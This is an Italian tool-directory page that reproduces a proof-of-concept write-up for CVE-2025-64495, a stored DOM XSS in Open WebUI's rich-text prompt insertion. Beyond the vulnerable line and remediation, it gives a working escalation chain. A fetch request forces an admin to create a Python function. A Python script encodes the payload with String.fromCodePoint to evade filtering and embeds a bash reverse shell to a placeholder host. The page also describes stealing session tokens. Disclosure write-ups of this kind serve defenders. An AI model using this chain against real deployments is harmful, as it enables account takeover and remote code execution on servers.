Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/alphabugx/cve-2025-64495-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSviluppo Payload
GitHubalphabugx/cve-2025-64495-poc

CVE-2025-64495-POC

Open WebUI è vulnerabile a Stored DOM XSS tramite prompt quando 'Insert Prompt as Rich Text' è abilitato, con conseguente ATO/RCE

Vedi Repository
3110 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-64495-POC

Open WebUI vulnerabile a Stored DOM XSS tramite prompt quando 'Insert Prompt as Rich Text' è abilitato, con conseguente ATO/RCE wechat

Riepilogo

La funzionalità che inserisce prompt personalizzati nella finestra di chat è vulnerabile a DOM XSS quando 'Insert Prompt as Rich Text' è abilitato, poiché il corpo del prompt viene assegnato al sink DOM .innerHtml senza sanificazione. Qualsiasi utente con permessi per creare prompt può abusarne per inserire un payload che potrebbe essere attivato da altri utenti se eseguono il comando / corrispondente per inserire il prompt.

Dettagli

La riga interessata è

open-webui/src/lib/components/common/RichTextInput.svelte

root@kitploit:~
Line 348 in 7a83e7d

 			tempDiv.innerHTML = htmlContent; 
	export const replaceCommandWithText = async (text) => {
		const { state, dispatch } = editor.view;
		const { selection } = state;
		const pos = selection.from;

		// Get the plain text of this document
		// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');

		// Find the word boundaries at cursor
		const { start, end } = getWordBoundsAtPos(state.doc, pos);

		let tr = state.tr;

		if (insertPromptAsRichText) {
			const htmlContent = marked
				.parse(text, {
					breaks: true,
					gfm: true
				})
				.trim();

			// Create a temporary div to parse HTML
			const tempDiv = document.createElement('div');
			tempDiv.innerHTML = htmlContent;                                          // <---- vulnerable

L'HTML controllato dall'utente dal corpo del prompt viene assegnato a tempDiv.innerHTML senza una sanificazione (significativa). marked.parse introduce alcune limitazioni sui caratteri ma non sanifica il contenuto, come indicato nel loro README.

image

PoC Crea un prompt personalizzato come segue: image

Tramite le impostazioni, assicurati che 'Insert Prompt as Rich Text' sia abilitato: image

Esegui il comando /poc tramite una finestra di chat. image

Osserva l'attivazione dell'avviso. image

RCE Poiché gli amministratori possono naturalmente eseguire codice Python arbitrario sul server tramite la funzionalità 'Functions', questo XSS potrebbe essere utilizzato per costringere qualsiasi amministratore che lo attivi a eseguire una di queste funzioni con codice Python scelto dall'attaccante.

Ciò può essere ottenuto facendo loro eseguire la seguente richiesta fetch:

root@kitploit:~
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('echo RCE')"
  })
})

Questo non può essere fatto direttamente perché la chiamata marked.parse attraverso cui passa l'HTML neutralizzerà i payload contenenti virgolette. image

Per aggirare questo problema, le stringhe devono essere costruite manualmente a partire dai loro valori decimali usando String.fromCodePoint. Il seguente script Python automatizza la generazione di un payload utilizzabile a partire da un dato JavaScript:

root@kitploit:~
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
  })
})
""".lstrip().rstrip()

out = ""

for c in payload2:
    out += f"String.fromCodePoint({ord(c)})+"

print(f"")

Un amministratore che attiva il payload corrispondente tramite un comando prompt attiverà l'esecuzione di una funzione Python che esegue un payload di reverse shell, dando all'attaccante accesso alla riga di comando sul server. image

image
image

Impatto

Qualsiasi utente che esegue il prompt malevolo potrebbe vedersi compromettere l'account tramite JavaScript malevolo che legge il proprio token di sessione da localstorage e lo esfiltra verso un server controllato dall'attaccante.

Gli utenti amministratori che eseguono il prompt malevolo rischiano di esporre il server backend a esecuzione di codice remoto (RCE) poiché il JavaScript malevolo eseguito tramite la vulnerabilità può essere utilizzato per inviare richieste come utente amministratore che eseguono funzioni Python dannose, che possono eseguire comandi del sistema operativo.

Avvertenze

Gli utenti con privilegi bassi non possono creare prompt per impostazione predefinita, è necessaria l'autorizzazione USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS, che può essere concessa tramite, ad esempio, un gruppo personalizzato. vedi: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions

Un utente vittima che esegue il comando per attivare il prompt deve avere l'impostazione 'Insert Prompt as Rich Text' abilitata tramite le preferenze affinché la vulnerabilità si attivi. L'impostazione è disabilitata per impostazione predefinita. Gli utenti con questa impostazione disabilitata non sono colpiti.

Rimedio

Sanifica l'HTML controllato dall'utente con DOMPurify prima di assegnarlo a .innerHtml

Scarica lo strumento